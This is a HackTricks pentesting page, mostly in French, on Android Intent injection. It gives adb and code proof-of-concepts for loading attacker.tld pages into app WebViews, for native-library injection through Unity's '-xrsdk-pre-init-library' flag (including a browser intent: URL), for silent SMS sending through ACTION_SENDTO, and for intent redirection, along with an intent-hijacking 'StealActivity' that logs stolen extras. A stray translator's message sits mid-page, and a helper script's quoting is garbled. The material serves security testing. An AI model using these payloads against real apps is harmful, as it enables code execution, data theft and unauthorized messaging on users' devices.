Intent Injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Intent injection abuse les composants qui acceptent des Intents contrôlés par un attaquant ou des données qui sont ensuite converties en Intents. Deux schémas très courants lors de pentests d’applications Android sont :

  • Envoyer des extras malicieux à des Activities/Services/BroadcastReceivers exportés qui sont ensuite transmis à des composants privilégiés non exportés.
  • Déclencher des deep links exportés VIEW/BROWSABLE qui transmettent des URL contrôlées par l’attaquant vers des WebViews internes ou d’autres sinks sensibles.

Si une application expose un deep link avec un schéma personnalisé tel que:

myscheme://com.example.app/web?url=<attacker_url>

et l’Activity réceptrice transmet le paramètre de requête url dans un WebView, vous pouvez forcer l’application à rendre du contenu distant arbitraire dans son propre contexte WebView.

PoC via adb :

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS s’exécute à l’intérieur du profil WebView de l’app.
  • Si JavaScript est activé (par défaut ou à cause de vérifications mal ordonnées), vous pouvez énumérer/utiliser n’importe quel objet exposé @JavascriptInterface, voler les cookies/local storage du WebView, et pivoter.

See also:

Webview Attacks

Bug d’ordre des vérifications activant JavaScript

Un bug récurrent consiste à activer JavaScript (ou d’autres paramètres permissifs de WebView) avant que la allowlist/vérification finale de l’URL ne soit terminée. Si des helpers précoces acceptent votre deep link et que le WebView est configuré en premier, votre chargement final se produit avec JavaScript déjà activé même si les vérifications ultérieures sont défaillantes ou trop tardives.

Ce qu’il faut rechercher dans le code décompilé :

  • Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
  • Calls to getSettings().setJavaScriptEnabled(true) before the last host/path allowlist check.
  • A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Pourquoi cela fonctionne

  • L’extra Intent unity est analysé en tant que flags d’exécution Unity.
  • La fourniture du flag pre-init oriente Unity vers un chemin ELF contrôlé par l’attaquant situé dans un namespace autorisé du linker (voir contraintes ci-dessous).

Conditions d’exploitation

  • L’Activity d’entrée Unity est exportée (généralement vrai par défaut).
  • Pour une exploitation à distance en un clic via le navigateur : l’Activity d’entrée déclare également android.intent.category.BROWSABLE afin que des extras puissent être transmis depuis une URL intent:.

Exploitation locale (même appareil)

  1. Placez un payload ELF à un chemin lisible par l’application victime. Le plus simple : incluez une bibliothèque malveillante dans votre propre application attaquante et assurez-vous qu’elle est extraite sous /data/app/.../lib/<abi>/ en configurant dans le manifest de l’attaquant :
<application android:extractNativeLibs="true" ...>
  1. Lancez l’Activity Unity de la victime avec le pre-init flag de la CLI dans l’extra unity. Exemple ADB PoC :
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity appelle dlopen("/data/.../libpayload.so", RTLD_NOW) ; votre payload s’exécute dans le processus victime, héritant de toutes ses permissions d’application (caméra/micro/réseau/stockage, etc.) et accédant aux sessions/données in-app.

Remarques

  • Le chemin exact /data/app/... varie selon les appareils/installations. Une application malveillante peut récupérer son propre répertoire natif de libs à l’exécution via getApplicationInfo().nativeLibraryDir et le communiquer au trigger.
  • Le fichier n’a pas besoin de se terminer par .so s’il s’agit d’un ELF valide — dlopen() se soucie des en-têtes ELF, pas des extensions.

Remote one‑click via browser (conditional) Si l’activity d’entrée Unity est exportée avec BROWSABLE, un site web peut passer des extras via une URL intent: :

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Cependant, sur les versions modernes d’Android, les dynamic linker namespaces et SELinux empêchent le chargement depuis de nombreux chemins publics (par ex., /sdcard/Download). Vous verrez des erreurs comme :

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Stratégie de contournement : cibler les apps qui mettent en cache des octets contrôlés par l’attaquant dans leur stockage privé (par ex., HTTP caches). Comme les chemins autorisés incluent /data et le répertoire privé de l’application, pointer -xrsdk-pre-init-library vers un chemin absolu à l’intérieur du cache de l’application peut satisfaire les contraintes du linker et permettre l’exécution de code. Cela fait écho aux précédents schémas cache-to-ELF RCE observés dans d’autres applications Android.

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)

Certaines applications de messagerie par défaut exécutent incorrectement automatiquement des intents de messagerie implicites, les transformant en confused‑deputy primitive : toute application non privilégiée peut déclencher Intent.ACTION_SENDTO avec sms:, smsto:, mms:, ou mmsto: et provoquer un envoi immédiat sans interface de confirmation et sans la permission SEND_SMS.

Points clés

  • Déclencheur : ACTION_SENDTO implicite + schéma d’URI de messagerie.
  • Données : définir le destinataire dans l’URI, texte du message dans l’extra "sms_body".
  • Permissions : aucune (pas de SEND_SMS), repose sur le gestionnaire SMS/MMS par défaut.
  • Observé : Google Messages for Wear OS (corrigé en mai 2025). D’autres gestionnaires doivent être évalués de la même manière.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (sans autorisations spéciales)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Extension de la surface d’attaque (Wear OS)

  • Tout composant capable de lancer des activités peut déclencher le même payload : Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Si le handler par défaut envoie automatiquement, l’abus peut être one‑tap ou totalement silencieux depuis des contextes en arrière-plan selon les politiques OEM.

Pentest checklist

  • Résoudre ACTION_SENDTO sur la cible pour identifier le handler par défaut ; vérifier s’il affiche une UI de composition ou s’il envoie silencieusement.
  • Tester les quatre schémas (sms:, smsto:, mms:, mmsto:) et les extras (sms_body, éventuellement subject pour MMS) pour vérifier les différences de comportement.
  • Prendre en compte les destinations payantes / numéros surtaxés lors des tests sur appareils réels.

Other classic Intent injection primitives

  • startActivity/sendBroadcast utilisant des extras Intent fournis par l’attaquant qui sont ensuite reparsés (Intent.parseUri(...)) et exécutés.
  • Composants proxy exportés qui transmettent des Intents vers des composants sensibles non‑exportés sans vérification des permissions.

Automating exported-component testing (Smali-driven ADB generation)

Quand des composants exportés attendent des extras spécifiques, deviner la forme du payload provoque une perte de temps et des faux négatifs. Vous pouvez automatiser la découverte des clés/types directement depuis Smali et générer des commandes adb prêtes à l’exécution.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile and scan Smali for calls like getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() to infer which extras and fields are consumed by each component.
  • Output: Pour chaque Activity/Service/Receiver/Provider exporté, l’outil affiche une courte explication et la commande exacte adb shell am .../cmd content ... avec les flags correctement typés.

Installer

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Utilisation

python apk-components-inspector.py target.apk

Je n’ai pas le contenu du fichier src/mobile-pentesting/android-app-pentesting/intent-injection.md.
Veuillez coller ici le contenu Markdown à traduire (ou autoriser l’accès au texte). Je traduirai tout en respectant exactement la syntaxe Markdown/HTML et les règles indiquées.

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

Fiche aide-mémoire ADB am extras (options sensibles au type)

  • Chaînes : --es key value | Tableau de chaînes : --esa key v1,v2
  • Entiers : --ei key 123 | Tableau d’entiers : --eia key 1,2,3
  • Booléens : --ez key true|false
  • Longs : --el key 1234567890
  • Floats : --ef key 1.23
  • URI (extra) : --eu key content://... | Data URI (Intent data) : -d content://...
  • Extra composant : --ecn key com.pkg/.Cls
  • Extra chaîne nulle : --esn key
  • Flags courants : -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips pour les ContentProviders

  • Utilisez adb shell cmd content query|insert|update|delete ... pour cibler les ContentProviders sans agents.
  • Pour tester une SQLi, variez --projection et --where (aka selection) lorsque le provider sous-jacent est basé sur SQLite.

Automatisation de bout en bout (exécuteur interactif)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script d'aide pour analyser et exécuter des commandes adb ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

Exécuter sur l'appareil : l'inspecteur est basé sur Python et fonctionne dans Termux ou sur des téléphones rootés où `apktool`/`androguard` sont disponibles.

---

## Intent Redirection (CWE-926) – découverte et exploitation

Motif
- Un point d'entrée exporté (Activity/Service/Receiver) lit un Intent entrant et le transmet en interne ou en externe sans valider la source/les données, p.ex. :
- `startActivity(getIntent())`
- `startActivity(intent)` où `intent` provient d'un extra comme `redirect_intent`/`next_intent`/`pending_intent` ou `Intent.parseUri(...)`.
- Faire confiance aux champs `action`/`data`/`component` sans vérification ; ne pas vérifier l'identité de l'appelant.

Que chercher dans Smali/Java
- Utilisations de `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Appels directs de `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` sur des Intents influencés par un attaquant.
- Absence de vérifications `getCallingPackage()`/`getCallingActivity()` ou de contrôles par permissions personnalisées.

ADB PoC templates
- Activité proxy redirigeant un Intent supplémentaire vers une Activity interne privilégiée :
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Service exporté qui accepte un parcelable redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Récepteur exporté qui relaie sans validation :
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags utiles pour un comportement de type singleTask

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Exemples réels (impact variable) :

  • CVE-2024-26131 (Element Android) : flux exportés conduisant à manipulation de WebView, contournement de PIN, login hijack.
  • CVE-2023-44121 (LG ThinQ Service) : action de receiver exportée com.lge.lms.things.notification.ACTION → effets au niveau système.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00) : redirection → accès arbitraire aux fichiers (avec interaction utilisateur).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20) : implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Modèle de menace

  • App A attend un résultat sensible de App B en utilisant un implicit Intent (par ex., un OAuth redirect, un document picker result, un IMAGE_CAPTURE return, ou une custom callback action).
  • Attacker App C publie un composant exporté avec un <intent-filter> correspondant pour la même action/category/data. Lorsque B résout l’implicit Intent, le resolver peut afficher un chooser ; si l’utilisateur choisit C (ou le définit comme défaut), le payload est livré au composant attaquant au lieu de A.

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Squelette du handler:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Remarques

  • Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
  • Cela s’applique aussi aux deep links (VIEW + BROWSABLE) lorsque des applications attendent qu’une autre application gère une URL et renvoie quelque chose.

Pentest guidance

  • Grep la cible pour startActivity/startActivityForResult/registerForActivityResult calls utilisant des Intents non-explicites.
  • Inspecter les Intents transportant des tokens dans extras, clipData, ou getData() et vérifier si un tiers pourrait enregistrer un filtre compatible.
  • Recommander de remplacer les flux implicites par des Intents explicites (set setPackage()/setComponent()), ou d’exiger caller-permission/signed permissions sur les receivers/services exportés.

Contremesures

  • Préférez les Intents explicites pour les flux sensibles (callbacks, tokens, auth results).
  • Quand le cross-app est nécessaire, ajoutez des exigences de permission au composant récepteur et validez l’identité de l’appelant.
  • Limitez et resserrez les Intent filters pour ne conserver que ce qui est strictement nécessaire (scheme/host/path/MIME).

Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)

Lorsque vous contrôlez l’expéditeur, ajoutez Intent.FLAG_DEBUG_LOG_RESOLUTION à un Intent implicite pour que Android consigne comment la résolution se déroule et quel composant sera sélectionné.

Example:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Ce que vous verrez dans adb logcat est la trace de résolution et le composant final, par ex. com.android.camera2/com.android.camera.CaptureActivity.

Astuce CLI

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Utile pour énumérer les gestionnaires candidats sur un appareil/émulateur et confirmer exactement quel composant recevra un Intent lors des tests.


Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks